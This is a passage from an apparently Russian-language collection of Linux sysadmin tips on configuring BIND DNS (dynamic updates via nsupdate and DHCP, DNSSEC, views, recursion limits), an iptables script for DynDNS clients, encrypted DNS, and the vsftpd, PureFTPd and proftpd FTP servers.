    обратную зону для адреса 192.168.0.15, и добавим поддомен test.example.com. Для
    обновления существующих записей нужно сначала удалить старую, затем добавить новую.
    
    
        server ns.example.com
        zone 0.168.192.in-addr.arpa
        update delete 15.0.168.192.in-addr.arpa. 10800 IN PTR somedomain.example.com.
        update add 1.0.168.192.in-addr.arpa. 10800 IN PTR somedomain123.example.com.
        send
        zone example.com
        update add test.example.com. 10800 IN A 192.168.0.254
        send
    
    Как видите, необходимо записи для обратной зоны и поддоменов указывать
    полностью, и перед сменой зоны отправлять обновление для предыдущей. Так же
    необходимо указывать TTL для каждой записи. Сохраните файл с именем changes,
    или любым вам удобным, в директории со скриптом zonechange.sh.
    
    Проверим работоспособность скрипта, выполните нижеприведенную команду для
    отправки запроса на обновление наших зон на сервер
    
        ./zonechanhe.sh changes
    
    Если все прошло успешно никакого вывода не последует, на сервере в логах можно
    будет увидеть подробности изменения зон. У меня на сервере записи в файлах
    внесенные удаленно появляются только после рестарта bind9, но работать начинают
    сразу после отправки обновления с клиента, так что проверяйте работу обновления
    не по наличию записи в файлах зон, а по запросу данной записи с сервера
    посредством nslookup или dig.
    
    Теперь можно перейти к настройке обновления записей зон при помощи dhcp
    сервера. Настройки DNS мы менять не будем, они описаны выше, поэтому мы будем
    пользоваться ими. Ключи так же возьмем из примеров выше. Настройка описана для
    DHCP сервера isc dhcp3
    
    В глобальные опции DHCP сервера внесите следующие правки (файл конфигурации dhcpd.conf)
    
        ddns-update-style interim;
        # Включение обновления dns записей для статично прописанных хостов
        update-static-leases on;
    
    Затем добавим информацию о зонах которые будем обновлять, и информацию о ключе для авторизации.
    
    Обратите внимание, записи о зонах и ключе вносятся так же как в конфиге bind,
    но БЕЗ кавычек, в противном случае у вас будет ошибка синтаксиса.
    
        key dnsupdater {
          algorithm hmac-md5
          secret YmEIxrGd1w1dT6Kyo9CQtQ==;
        }
    
        zone 0.168.192.in-addr.arpa {
          primary ns.example.com;
          key dnsupdater;
        }
    
        zone example.com {
          primary dns;
          key dnsupdater;
        }
    
    Далее пример конфига для клиента без фиксированного ip адреса
    
        host happylaptop {
          hardware ethernet 00:0a:39:22:da:39;
          option host-name "happylaptop";
          option domain-name "example.com";
          ddns-hostname "happylaptop";
          ddns-domain-name "example.com";
        }
    
    Затем идет пример для группы хостов, или секции group в dhcpd.conf
    
        group {
          option domain-name "example.com";
          ddns-domainname "example.com";
    
          host happylaptop {
            hardware ethernet 00:0a:39:22:da:39;
            option host-name "happylaptop";
            ddns-hostname "happylaptop";
          }
    
          host dellstation  {
            hardware ethernet 00:b1:48:2a:ad:9c;
            option host-name "dellstation";
            ddns-hostname "dellstation";
          }
        }
    
    Далее идет пример клиента со фиксированным ip адресом
    
        host jukebox {
          hardware ethernet 01:d0:06:b8:68:34;
          fixed-address 192.168.0.5;
          ddns-hostname "jukebox";
          ddns-domain-name "example.com";
          option host-name "jukebox";
          option domain-name "example.com";
        }
    
    После сохранения настроек не забудьте перезапусить DHCP-сервер.
    
    Ссылки по теме:
    * http://www.semicomplete.com/blog/articles/dynamic-dns-with-dhcp
    * http://ubuntuforums.org/showthread.php?t=713469
    
     
    ----* Автоматизация создания массовых записей на DNS-сервере Bind   [комментарии]
     
    Для заведения типовых записей внутри DNS зоны, например, строк вида
    "adsl-1-2-3-4.pool.test.ru удобно использовать директиву "$GENERATE".
    При помощи $GENERATE можно массово создавать элементы для записей A,  CNAME, DNAME, NS и PTR.
    
    Например, создадим в зоне 128 записей подобных:
    
       host-N    IN   A    192.168.1.N
    
    где N от 0 до 127:
    
       $GENERATE 0-127 $ A 192.168.1.$
    
    Или массово пропишем в обратной зоне PTR для всех рабочих адресов:
    
       $GENERATE 0-255 $ PTR host-$.pool.test.ru.
    
    в итоге будут созданы записи:
    
       0   PTR   host-0.pool.test.ru.
       1   PTR   host-1.pool.test.ru.
       ...
       255   PTR   host-255.pool.test.ru.
    
     
    ----* Автоматическое изменение правил IPTABLES для IP адресов из записей DynDNS (доп. ссылка 1)   Автор: zaikini  [комментарии]
     
    Возникла задача предоставить сервис для клиентов, использующих внешние динамические адреса. 
    Доступ к сервису ограничен правилами IPTABLES.
    
    Клиентам, которым необходимо получить услугу предлагается создать учетную
    запись на ресурсе dyndns.org,
    клиент получит доменное имя в виде client.dyndns.org.
    
    При каждом изменении ip адреса клиента мы всегда узнаем его адрес по доменному
    имени. Если мы добавим
    правило в iptables для этого доменного имени, правило будет работать только для
    текущего  ip адреса клиента
    и при последующем изменении ip адреса, доступ к сервису будет ограничен.
    
    Оригинал решения был найден здесь:
    http://dave.thehorners.com/content/view/86/65/ , а мы всего лишь доработаем
    этот скрипт.
    
    Создаем несколько каталогов:
    
       /root/dynhosts/ - общий каталог
       /root/dynhosts/zones/ - здесь будем хранить файлы доменных зон клиентов
       /root/dynhosts/logs/ - лог файлы работы скрипта
       /root/dynhosts/scripts/ - здесь будет находится сам запускаемый скрипт
    
    Создаем лог-файл:
    
       touch /root/dynhosts/logs/dynhosts.log
    
    Создаем файл зоны клиента:
    
       touch /root/dynhosts/zones/client.dyndns.org
    
    Создаем сам скрипт /root/dynhosts/scripts/firewall-dynhosts.sh
    
    
       #!/bin/bash
       #
       # filename: firewall-dynhosts.sh
       #
       NOW=$(date)
       CHAIN="dynamichosts"  # change this to whatever chain you want.
       IPTABLES="/sbin/iptables"
       
       # create the chain in iptables.
       $IPTABLES -N $CHAIN
       # insert the chain into the input chain @ the head of the list.
       $IPTABLES -I INPUT 1 -j $CHAIN
       # flush all the rules in the chain
       $IPTABLES -F $CHAIN
      
       FILES=`ls --format=single-column /root/dynhosts/zones/`
       
       echo $FILES
      
       for file in $FILES
       do
          HOSTFILE="/root/dynhosts/zones/$file"
          echo $HOSTFILE
    
          # lookup host name from dns tables
          IP=`/usr/bin/dig +short $file | /usr/bin/tail -n 1`
          if [ "${#IP}" = "0" ]; then
             echo "$NOW Couldn't lookup hostname for $file, failed." >> /root/dynhosts/logs/dynhosts.log
    
             continue
          fi
     
          OLDIP=""
          if [ -a $HOSTFILE ]; then
             OLDIP=`cat $HOSTFILE`
             echo "CAT returned: $?"
          fi
    
          # save off new ip.
          echo $IP>$HOSTFILE
    
          echo "Updating $file in iptables."
          echo "Inserting new rule ($IP)"
          $IPTABLES -A $CHAIN -s $IP/32 -j ACCEPT
    
       done
       exit0
    
    Запускаем скрипт:
    
       /root/dynhosts/scripts/firewall-dynhosts.sh
    
       iptables: Chain already exists
       client.dyndns.org
       CAT returned: 0
       Updating client.dyndns.org in iptables.
       Inserting new rule (213.64.141.6)
    
    Проверяем,
    
       cat /root/dynhosts/zones/client.dyndns.org
       213.64.141.6
    
       /sbin/iptables -nL dynamichosts
    
       Chain dynamichosts
       target     prot opt source               destination
       ACCEPT     all  -  213.64.141.6         0.0.0.0/0
    
    Если такого доменного имени не существует в /root/dynhosts/logs/dynhosts.log
    была бы запись следующего содержания:
    
       Tue Aug 25 09:47:15 MSD 2009 Couldn't lookup hostname for client.dyndns.org, failed.
    
    После того как контракт с клиентом истек достаточно удалить файл его зоны из /root/dynhosts/zones/.
    
    Осталось добавить выполнение скрипта в крон.
    
     
    ----* Как удалить из кэша DNS сервера Bind конкретную запись, без перезагрузки всего кэша   Автор: Константин Брызгалов  [комментарии]
     
    Для удаления отдельной записи в кэше Bind нужно использовать команду "rndc flushname"
    
    Запрашиваем имя mx.example.ru у сервера 127.0.0.1:
    
       # dig +short @127.0.0.1 mx.example.ru
       192.168.168.168
    
    Сохраняем для изучения дамп с содержимым кэша:
       # rndc dumpdb -all
    
    Находим в нем искомое имя, чтобы убедится, что оно в кэше:
    
       # grep mx.example.ru /var/bind/named_dump.db
       mx.example.ru.             431988  A       192.168.168.168
    
    Выполняем команду для удаления mx.example.ru из кэша:
    
       # rndc flushname mx.example.ru. 
    
    Убедимся, что имя удалилось:   
    
       rm /var/bind/named_dump.db 
       rndc dumpdb -all
       grep mx.example.ru /var/bind/named_dump.db
    
     
    ----* MAC DNS лист   Автор: Vladimir Shingarev  [комментарии]
     
    Иногда нужно узнать какому производителю принадлежит оконечное оборудование, 
    наблюдая только его мак на интерфейсе. А открывать браузер для этого лениво.
    
    В таком случае удобно создать MAC-based dns лист. Пользоваться просто:
    
       ket:/home/sva# host -t txt 001243.macl.nov.ru
       001243.macl.nov.ru descriptive text "Cisco"
       ket:/home/sva# host -t txt 0050ba.macl.nov.ru
       0050ba.macl.nov.ru descriptive text "D-LINK"
    
     
    ----* DNS: Как делегировать неполную (не /24) сеть in-addr.arpa клиенту   Автор: nikl  [комментарии]
     
    Предположим, вы провайдер (provider1) и подключившийся к вам клиент (firma1)
    взял в пользование сеть /28
    Как обеспечить ему самостоятельное управление обратными доменами в его подсети?
    Можно делигировать ему неполную сеть, на примере:
    
    У вас есть большая сеть 200.100.100.100/24, клиент из нее взял себе блок 200.100.100.176/28
    
    В своем файле зоны прописываете:
    
       100.100.200.in-addr.arpa  IN SOA  ns1.provider1.ru. hostmaster.provider1.ru. (
                                    2005102000 ; serial
                                    36000      ; refresh
                                    3600       ; retry
                                    1728000    ; expire
                                    172800     ; minimum
                                    )
                            NS      ns1.provider1.ru.
                            NS      ns2.provider1.ru.
    $ORIGIN 100.100.200.in-addr.arpa.
    
    ...
    
    
    173                     PTR     client173-gw.provider1.ru.
    174                     PTR     client174-gw.provider1.ru.
    175                     PTR     client175-gw.provider1.ru.
    
    176/28                  NS      ns.firma1.ru.
    $GENERATE 176-191       $  CNAME   $.176/28
    
    192                     PTR     client192-gw.provider1.ru.
    193                     PTR     client193-gw.provider1.ru.
    
    Админ клиента на своем NS'е (ns.firma1.ru) создает
    зону "176/28.100.100.200.in-addr.arpa" , в которой спокойно
    администрирует свои IP'ы, не отвлекая провайдера от работы.
    
     
    ----* Решение проблемы резолвинга при включенных forwarders в BIND 9   Автор: Vladimir V. Kamarzin  [комментарии]
     
    Если bind 9 одновременно является переадресующим сервером ( forwarders {
    s.o.m.e; }; ) и авторитативным
    для какой-либо зоны, при делегировании подзоны возникает проблема резолвинга хостов этой подзоны:
    
       subzone IN NS ns.subzone.zone.tld.
       ns.subzone IN A 192.168.0.1
    
       dig @ns.zone.tld. somehost.subzone.zone.tld. a
    
    при этом бинд будет спрашивать запись A для хоста somehost.subzone.zone.tld.
    вовсе не у ns.subzone.zone.tld. ,
    а у тех серверов, которые прописаны форвардерами в options!
    
    Чтобы bind резолвил хосты напрямую, через ns.subzone.zone.tld. , необходимо в
    конфигурации зоны zone.tld. прописать:
    
            zone "zone.tld." {
                    type master;
    --->           forwarders { /* empty! */ };
                    notify no;
                    file "file";
                    allow-query { any; };
                    allow-transfer { s.o.m.e; };
            };
    
     
    ----* Почему на некоторые запросы named слишком долго (1-4 сек.) резолвит имя (доп. ссылка 1)   [комментарии]
     
    Проблемы на IPv4 хостах без IPv6 коннективити, обусловлены появлением IPv6
    адресов у B и A корневых NS.
    
    Решение представлено в BIND 9.2.5 и 9.3.1, которые еще не вышли.
    Другой путь - собрать bind с ./configure --disable-ipv6 или запустить с опцией -4 (для bind 9.3.0).
    
     
    ----* Пример ведения расширенных логов в named   [комментарии]
     
    # named.conf
    # для более делаьной информации о трансферах расскомментируйте "severity info"
    logging {
             channel default_log {
                    file "/var/log/dns.log";
    #               severity info;
                    severity notice;
                    print-time yes;
                    print-category yes;
                    print-severity yes;
    
             };
             channel more_log {
                    file "/var/log/dns_more.log";
            #       severity info;
                    severity notice;
                    print-time yes;
                    print-category yes;
                    print-severity yes;
             };
             category queries { default_log;};
             category xfer-in { default_log; };
             category xfer-out { default_log; };
             category security { more_log; };
             category resolver { more_log; };
             category client { more_log; };
             category unmatched { more_log; };
             category default { more_log; };
             category database { more_log; };
    };
    
     
    ----* Настройка динамического обновления DNS зон. (доп. ссылка 1)   Автор: Jeff Garzik  [комментарии]
     
    Генерируем ключи:
        dnssec-keygen -a HMAC-MD5 -b 512 -n USER foo22.bar44.com.
    
    Настройки сервера:
    
    /etc/named.conf:
        include "keys.conf";
        ......
        zone  "bar44.com" {
            type master;
            file  "bar44.com.zone";
            update-policy {
    	   grant laptop.bar44.com. name laptop.bar44.com. A TXT;
                   grant foo22.bar44.com. subdomain bar44.com. ANY;
            };
            # или   
            #allow-update {
            #     key foo22.bar44.com.
            #};
        };
    
    /etc/namedb/keys.conf:
        key foo22.bar44.com. {
    	algorithm HMAC-MD5;
    	secret "секретный ключ";
    
        };
    
    Для обновления зоны:
        nsupdate -k Kfoo22.bar44.com.+157+12505.private -v cmd_file.txt
    
    Пример cmd_file.txt:
        server ns.bar44.com
        zone bar44.com
        update delete somehost.bar44.com. A
        update add somehost.bar44.com. 86400 A 10.10.10.1
        show
        send
    
     
    ----* Оптимизация работы DNS резолвера, случайный выбор NS (доп. ссылка 1)   [обсудить]
     
    В /etc/resolv.conf:
       options attempts=2, timeout=2, rotate
       ,где attempts - число попыток посылки запроса к серверу.
            timeout - таймаут запроса (по умолчанию 5 сек.)
            rotate   случайный выбор nameserver из списка, а не опрос по порядку.
            timeout - таймаут за который сервер должен успеть ответить.
        Для отладки удобно использовать "options debug"
    
     
    ----* Как организовать рекурсивные запросы только через жестко определенные сервера.   [обсудить]
     
    options {
       # Если "first" - то если forwarders не ответил - запрашиваем сами.
       # Если "only" - сами никогда не запрашиваем, только через forwarders.
       forward only; 
       forwarders {192.168.1.1; 192.168.2.1;};
    };
    
     
    ----* Как запретить рекурсивные запросы через DNS сервер для чужих клиентов   [комментарии]
     
    acl localnet { 192.168.1.0/24; 10.0.1.0/24; };
    options {
       allow-recursion {localnet; 192.168.2.0/24};
       # Полностью запросы можно ограничить через "allow-query" или "blackhole"
    };
    
     
    ----* Как запретить Bind показывать свою версию для внешнего мира. (доп. ссылка 1)   [комментарии]
     
    Узнать версию можно через:
      dig @ns.test.ru version.bind chaos txt
    Чтобы запретить, нужно в options блоке named.conf прописать:
      options {
        ...
        version "0.1";
      };
    
     
    ----* Как разрешить полный трансфер DNS зоны только для избранных серверов.   [обсудить]
     
    zone "host.ru" {
            type master;
            allow-transfer { 1.2.3.4; 1.2.3.5; 1.2.3.6;};
            file "host.ru";
    }
    
     
    ----* Как избавиться от ограничения числа одновременных коннектов к named   [обсудить]
     
    options {
            directory "/etc/namedb";
            recursive-clients 5000;
            tcp-clients 500;
    };
    
     
    ----* Включение DNS-over-HTTPS на системном уровне в KDE neon и Ubuntu   Автор: popov895  [комментарии]
     
    В этой заметке я не буду объяснять, почему предпочтительно использовать
    DNS-over-HTTPS (DoH), а просто опишу, как его можно включить на системном
    уровне в KDE neon / Ubuntu. Внимание: не забывайте делать резервные копии
    системных файлов, которые планируете редактировать!
    
    Для начала необходимо установить пакет dnscrypt-proxy:
    
       sudo apt install dnscrypt-proxy
    
    Далее в файле /etc/dnscrypt-proxy/dnscrypt-proxy.toml в поле
    server_names нужно указать список серверов, к которым будет
    обращаться dnscrypt-proxy для разрешения DNS
    (список доступных DoH-серверов здесь). После редактирования файла
    dnscrypt-proxy.toml нужно перезапустить dnscrypt-proxy:
    
       sudo systemctl restart dnscrypt-proxy.service
    
    Далее нужно запретить NetworkManager изменять файл /etc/resolv.conf.
    Для этого нужно в файле /etc/NetworkManager/NetworkManager.conf в
    секции main добавить запись rc-manager=unmanaged. Должно
    выглядеть так:
    
       [main]
       ...
       rc-manager=unmanaged
       ...
    
    Далее нужно отредактировать файл /etc/resolv.conf. Для начала удалим текущий файл:
    
       sudo rm /etc/resolv.conf
    
    И создадим новый:
    
       sudo touch /etc/resolv.conf
    
    С таким содержимым:
    
       nameserver 127.0.2.1
       options edns0 single-request-reopen
    
    И последнее, что нам нужно сделать - отключить systemd-resolved
    и перезапусить NetworkManager:
    
       sudo systemctl disable --now systemd-resolved.service
       sudo systemctl restart NetworkManager.service
    
     
    ----* Настройка DNSSEC в BIND 9.9 (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    В BIND 9.9 появились новые средства для автоматизации формирования цифровых
    подписей и управления ключами, позволяющие добавить поддержку DNSSEC без правки DNS-зон.
    
    Настройка DNSSEC для домена.
    
    Создаём отдельную директорию для файлов с ключами, так как файлов генерируется
    достаточно много, для каждой зоны имеет смысл создать отдельную директорию с ключами.
    
       mkdir /etc/namedb/keys
    
    Для работы DNSSEC требуется создать master-ключ (KSK, Key Signing Key), который
    будет использован для создания цифровых подписей для других ключей, и ключи для
    каждой из локальных зон (ZSK, Zone Signing Key).
    
    Создаём KSK-ключ:
    
       dnssec-keygen -f KSK -a RSASHA1 -b 2048 -n ZONE example.net
    
       Generating key pair......+++.....+++
       Kexample.net.+005+38287
    
    Создаём ZSK-ключ:
    
       dnssec-keygen -a RSASHA1 -b 2048 -n ZONE example.net
       Generating key pair.....+++ ..+++
       Kexample.net.+005+55896
    
    Делаем ключи доступными для чтения процессу named:
    
       chown bind:bind *
    
    Включим в настройках named.conf ведение лога DNSSEC для упрощения анализа возможных проблем. 
    
    Подготовим директорию для хранения лога:
    
       mkdir /etc/namedb/log
       chown bind:bind /etc/namedb/log
    
    В  named.conf пропишем путь к логу, который ограничим максимальным размером в 20 Мб:
    
       logging {
          channel dnssec_log {
             file "log/dnssec" size 20m;
             print-time yes;
             print-category yes;
             print-severity yes;
             severity debug 3;
          };
          category dnssec {
              dnssec_log;
          };
       };
    
    Настроим DNSSEC для зоны example.net:
    
       zone example.net {
          type master;
          file "master/example.net";
          key-directory "keys/";
          inline-signing yes;
          auto-dnssec maintain;
       };
    
    
    После перезапуска named в директории /etc/namedb/keys появятся следующие файлы:
    
       example.net
       example.net.jbk
       example.net.signed
       example.net.jnl
    
    Опция 'inline-signing yes' включает режим прозрачного формирования подписей, не
    требуя внесения изменений непосредственно в файл зоны. При работе
    inline-signing вручную поддерживаемый файл с зоной преобразуется в динамическую
    зону, для которой создаётся цифровая подпись. Из-за этого выдаваемый сервером
    серийный номер, отличается от серийного номера прописанного в файле с зоной.
    Изменения DNSSEC производятся в jnl-файле с журналом изменений.
    
    При запросе параметров зоны можно заметить появление нового поля RRSIG
    
       dig example.net +dnssec
       ...
       example.net. 600 IN A 1.2.3.4
       example.net. 600 IN RRSIG A 5 3 600 2012021356423 20120415331566    21695 net. IKekIJa314313G/xZpQ+B2313eqaDceR/VNcdsdasxV2 ...
    
    Так как DNSSEC основан на обеспечении цепочки доверия, чтобы процесс
    верификации заработал, требуется чтобы регистратор заверил созданный KSK-ключ,
    подтвердив своё доверие. Для этого создадим на основе KSK-ключа DSKEY-ключ
    (Delegation Signature Key)
    
       dnssec-dsfromkey Kexample.net.+005+38287
       example.net. IN DS 38287 5 1 E8C01C9CA1252389A9CB4E
       example.net. IN DS 38287 5 2 57EC936A479A94C32324123134234523492359A623 39712D53
    
    Копируем две сгенерированные строки в интерфейсе ввода  DSKEY на сайте
    регистратора домена. Верификация заработает после того как регистратор обновит
    параметры первичной зоны.
    
    Для поддержки DNSSEC-проверки на стороне резолвера следует добавить в настройки named.conf:
    
       options {
          ...
          dnssec-enable yes;
          dnssec-validation auto;
          ...
       };
    
     
    ----* Как в DNS прописать два образа одной и той же зоны для внутренней и внешней сети.   Автор: uldus  [комментарии]
     
     view "internal" {
        match-clients { 192.168.0.0/16; };
        zone "test.ru" {
             type master;
             file "test.ru.int";
        };
     };
     view "external" {
        match-clients { any; };
        zone "test.ru" {
             type master;
             file "test.ru.ext";
        };
     };
    
     

       FTP, Bittorrent

    ----* Включение DNS-Over-TLS в LEDE/OpenWrt через замену резолвера на Unbound (доп. ссылка 1)   [комментарии]
     
    По умолчанию в LEDE/OpenWrt в качестве резолвера применяется Dnsmasq, который
    не поддерживает  DNS-over-TLS. Для включения шифрования DNS-трафика заменим
    Dnsmasq на Unbound и odhcpd:
    
       opkg update
       opkg install unbound odhcpd unbound-control
       opkg remove dnsmasq
    
    Для настройки через GUI опционально можно установить модуль:
    
       opkg install luci-app-unbound
    
    Указываем в /etc/unbound/unbound_ext.conf DNS-серверы с поддержкой TLS
    (например, 1.1.1.1 и 1.0.0.1):
    
       forward-zone:
         name: "."
         forward-addr: 1.1.1.1@853                   
         forward-addr: 1.0.0.1@853                             
         forward-addr: 2606:4700:4700::1111@853
         forward-addr: 2606:4700:4700::1001@853
         forward-ssl-upstream: yes   
    
    
    
    Корректируем настройки /etc/config/unbound в соответствии с 
    официальными рекомендациями по настройке связки unbound+odhcpd.
    
    Проверяем /etc/config/unbound:
    
       config unbound
         option add_local_fqdn '1'
         option add_wan_fqdn '1'
         option dhcp_link 'odhcpd'
         option dhcp4_slaac6 '1'
         option domain 'lan'
         option domain_type 'static'
         option listen_port '53'
         option rebind_protection '1'
         option unbound_control '1'
    
    Аналогично проверяем настройки /etc/config/dhcp:
    
       config dhcp 'lan'
            option dhcpv4 'server'
            option dhcpv6 'server'
            option interface 'lan'
            option leasetime '12h'
            option ra 'server'
            option ra_management '1'
    
       config odhcpd 'odhcpd'
            option maindhcp '1'
            option leasefile '/var/lib/odhcpd/dhcp.leases'
            option leasetrigger '/usr/lib/unbound/odhcpd.sh'
      
    Перезапускаем unbound:
    
       service unbound enable
       service unbound start
    
     
    ----* Настройка виртуальных пользователей и SSL в vsftpd (доп. ссылка 1)   Автор: Бочка селёдки  [комментарии]
     
    Иногда возникает необходимость настроить виртуальных пользователей и
    SSL-шифрование в FTP-сервере vsftpd. Рассмотрим как это сделать в Debian Squeeze.
    
    Все действия выполняются от пользователя root. Сперва установим необходимые утилиты:
    
       aptitude install vsftpd openssl db4.8-util ftp-ssl  
    
    где
    vsftpd - непосредственно FTP сервер;
    openssl - утилита создания SSL сертификатов, которые требуются в SSL режиме FTP сервера;
    db4.8-util - утилиты работы с базой данных BerkeleyDB, в которой будут хранится
    виртуальные пользователи;
    ftp-ssl - SSL версия FTP клиента, эта утилита нужна только на клиентской стороне.
    
    Добавим пользователя в систему, через которого будут работать виртуальные FTP-пользователи:
    
       useradd -d /home/ftp virtual  
    
    Теперь изменим конфигурацию FTP сервера. Данных директив в файле конфигурации
    по-умолчанию нет, поэтому их можно просто добавить в конец файла /etc/vsftpd.conf:
    
       # включаем гостевой доступ через нашего виртуального пользователя  
       guest_enable=YES  
       guest_username=virtual  
    
       # включаем SSL  
       ssl_enable=YES  
    
       # шифрование процедуры логина и всех передаваемых данных внутри сессии  
       force_local_logins_ssl=YES  
       force_local_data_ssl=YES  
    
       # ущемляем права анонимных пользователей - их трафик шифроваться не будет  
       # (только если анонимные пользователи разрешены)  
       allow_anon_ssl=NO  
    
       # используем только протокол TLS  
       ssl_tlsv1=YES  
       ssl_sslv2=NO  
       ssl_sslv3=NO  
    
       # многократное использование одной сессии  
       require_ssl_reuse=NO  
    
    Дополнительно для проверки соединения вы можете установить директиву
    local_enable=YES, которая разрешает локальным пользователям получить доступ по
    FTP к своим домашним директориям.
    
    Создаём базу данных виртуальных пользователей:
    
      db4.8_load -T -t hash /etc/vsftpd_login.db  
    
    Эта утилита будет читать логины и пароли со стандартного ввода, один логин и
    один пароль на каждую отдельную строку. Вводим "user", нажимаем ввод, вводим
    "pass", нажимаем ввод.
    
    Изменяем процедуру аутентификации ftp пользователей через PAM в
    конфигурационном файле /etc/pam.d/vsftpd:
    
       # путь к базе данных виртуальных пользователей (без суффикса "db")  
       account required    pam_userdb.so     db=/etc/vsftpd_login  
       auth    required    pam_userdb.so     db=/etc/vsftpd_login  
    
    Создадим SSL-сертификат для FTP-сервера, время действия которого истечёт через
    год. Путь к этому сертификату уже прописан в конфигурационном файле vsftpd:
    
       cd /etc/ssl/private/  
       openssl req -x509 -nodes -days 365 -newkey rsa:1024 -keyout vsftpd.pem -out vsftpd.pem  
    
    Всё, осталось перезапустить сервис FTP:
    
       invoke-rc.d vsftpd restart  
    
    Проверяем логин:
    
       ftp localhost  
       
       Connected to localhost.  
       220 (vsFTPd 2.3.2)  
       Name (localhost:root): user  
       
       234 Proceed with negotiation.  
       [SSL Cipher DES-CBC3-SHA]  
       
       331 Please specify the password.  
       Password:  
       
       230 Login successful.  
       Remote system type is UNIX.  
       Using binary mode to transfer files.  
       ftp: pwd  
       257 "/"  
       ftp:
    
    Как видим, вход был в SSL-режиме с использованием шифрования DES-CBC3-SHA.
    Теперь можно настроить пользовательские права на чтение и запись в файле
    /etc/vsftpd.conf. Следует отметить, что в статье описан способ настройки FTPS
    (FTP+SSL), который не стоит путать с SFTP - это два разных протокола.
    
     
    ----* Организация проверки загружаемых файлов на вирусы в PureFTPd (доп. ссылка 1)   [комментарии]
     
    Ниже представлена инструкция по интеграции в PureFTPd, работающем в Debian или
    Ubuntu, функции проверки новых файлов на предмет наличия вирусов. При
    обнаружении вируса загруженный файл удаляется.
    
    
    
    Устанавливаем антивирусный пакет ClamAV:
    
       sudo aptitude install clamav clamav-daemon
     
    Настраиваем PureFTPd. 
    Создаем файл /etc/pure-ftpd/conf/CallUploadScript в который добавляем одну строку со словом "yes":
    
       echo "yes" > /etc/pure-ftpd/conf/CallUploadScript
    
    Создаем скрипт /etc/pure-ftpd/clamav_check.sh, который будет вызывать из
    PureFTPd для проверки новых файлов в clamav:
    
       #!/bin/sh
       /usr/bin/clamdscan --remove --quiet --no-summary "$1"
    
    
    Делаем скрипт исполняемым:
    
       chmod 755 /etc/pure-ftpd/clamav_check.sh
    
    Изменяем основой файл конфигурации PureFTPd /etc/default/pure-ftpd-common,
    находим по ключевому слову строку UPLOADSCRIPT и указываем путь к скрипту
    проверки, примерно так:
    
       UPLOADSCRIPT=/etc/pure-ftpd/clamav_check.sh
    
    Перезапускаем PureFTPd:
    
      /etc/init.d/pure-ftpd-mysql restart
    
     
    ----* Создание sftp сервера силами proftpd   Автор: Alex Samorukov  [комментарии]
     
    Зачем нужен sftp
    
    В протоколе FTP есть 2 ключевые проблемы - во первых, пароли и данные
    передаются в открытом виде, во вторых - для каждой передачи устанавливается
    дополнительное соединение. Для шифрования данных и контрольного соединения был
    написан FTPS, но с ним проблем еще больше - все также требуется дополнительное
    соединение при передаче, а главное - контрольный канал теперь зашифрован и
    firewall никак не может помочь в прохождении FTP трафика через NAT. Кроме того
    - существуют различия в реализации, что добавляет еще больше проблем при
    использовании FTPS. SFTP - полностью новый протокол разработанный IETF SECSH,
    предлагающий аналогичные FTP возможности для удаленных операций и использующий
    SSH (обычно SSH2) для обеспечения шифрования и аутентификации. Известность
    получил в основном из-за того, что был встроен в SSH сервера, в частности - в
    OpenSSH 2.3.0 и выше.
    
    Недостатки sftp в OpenSSH
    
    До OpenSSH 4.9 sftp сервер требовал запуска внешнего исполняемого файла и
    построение chroot окружения было связанно с дополнительными действиями.
    Невозможно ограничить скорость передачи для конкретного пользователя. Сложно
    сделать отличную от SSH базу с пользователями. В целом - sftp сервер в OpenSSH
    всегда был лишь приятным дополнением к OpenSSH предоставляя на порядок меньшие
    возможности чем, например, proftpd. Впрочем, недавно необходимость выбора между
    удобством и безопасностью отпала так как был написан и реализован модуль
    mod_sftp для proftpd, о нем и пойдет речь.
    
    Использование модуля
    
    Впервые модуль появился в версии 1.3.2rc2, но на мой взгляд - уже вполне
    пригоден к использованию. Он не компилируется по умолчанию, так что для его
    использования надо указать его на этапе configure. Вы можете собрать proftpd из
    исходников, или если у вас redhat based OS - воспользоваться моим src.rpm.
    Модуль имеет множество возможностей полный список которых можно [[http://www.castaglia.org/proftpd/modules/mod_sftp.html посмотреть на
    сайте]]. Для минимальной настройки достаточно внести такие дополнения в файл
    конфигурации по умолчанию:
    
       Port                            8022
       SFTPEngine on
       SFTPHostKey /etc/ssh/ssh_host_dsa_key
       SFTPHostKey /etc/ssh/ssh_host_rsa_key
    
    
    и запустить proftpd. Теперь можно подключаться к порту 8022 любым sftp
    клиентом, например - мультиплатформенной FileZilla или command line sftp из
    комплекта OpenSSH. Используя виртуальные сервера можно сделать одновременную
    работу SFTP и FTP(S), ограничить доступ, сделать chroot для всех или некоторых
    сайтов и так далее. За примерно месяц использования я не обнаружил каких либо
    минусов данного решения по сравнению с OpenSSH sftp.
    
     
    ----* Настройка Pure-FTPd c авторизацией по скрипту (доп. ссылка 1)   Автор: ExpE  [комментарии]
     
    Для Unix систем есть большое количество серверов ftp обладающих богатым функционалом, 
    каждый из которых обладает своими особенностями. Но в один прекрасный день мне
    потребовалось организовать
    авторизацию с помощью скрипта, который в зависимости от IP адреса должен был
    пускать в разные домашние
    директории. После недолгих поисков в интернете я обнаружил, что у Pure-FTPd
    авторизация по скрипту -
    штатная возможность. Итак, приступим.
    
    Скачиваем архив с актуальной на текущий момент версии (в момент написания этой
    статьи текущая версия 1.0.22)
    
       wget http://download.pureftpd.org/pub/pure-ftpd/releases/pure-ftpd-1.0.22.tar.bz2
    
    Распаковываем и простыми сочетаниями команд устанавливаем
       ./configure --with-rfc2640 --with-everything --prefix=/usr/local/pure-ftpd
       make
       sudo make install
    
    --with-rfc2640 - необходима для перекодировки названий файлов на лету в разные кодировки 
    (в моем случае клиенты подсоединяются к серверу с кодировкой cp1251 а на
    сервере же кодировка UTF-8)
    
    --with-everything - создание демона с поддержкой всех функций Pure-FTPd
    
    --prefix=/usr/local/pure-ftpd - каталог, куда собственно демон устанавливать
    
    Теперь когда сервер установлен переходим к базовой конфигурации. Копируем
    конфигурационный файл в /etc из каталога с исходниками
    
       cp configuration-file/pure-ftpd.conf /etc/pure-ftpd.conf
    
    Добавляем следующие строки в конфигурационный файл:
    
       ExtAuth /var/run/ftpd.sock # Включаем авторизацию по скрипту
       UserBandwidth 100 # Ограничиваем полосу в  100 Kb/c для каждого пользователя,
                         # чтобы они не забивали весь канал
       MaxDiskUsage 90   # Установив это значение, мы запрещаем загрузку файлов на сервер, 
                         # в случае если осталось всего 10% свободного места
       FileSystemCharset UTF-8 # Говорим что на сервере кодировка UTF-8
       ClientCharset CP1251    # А у пользователей CP1251
    
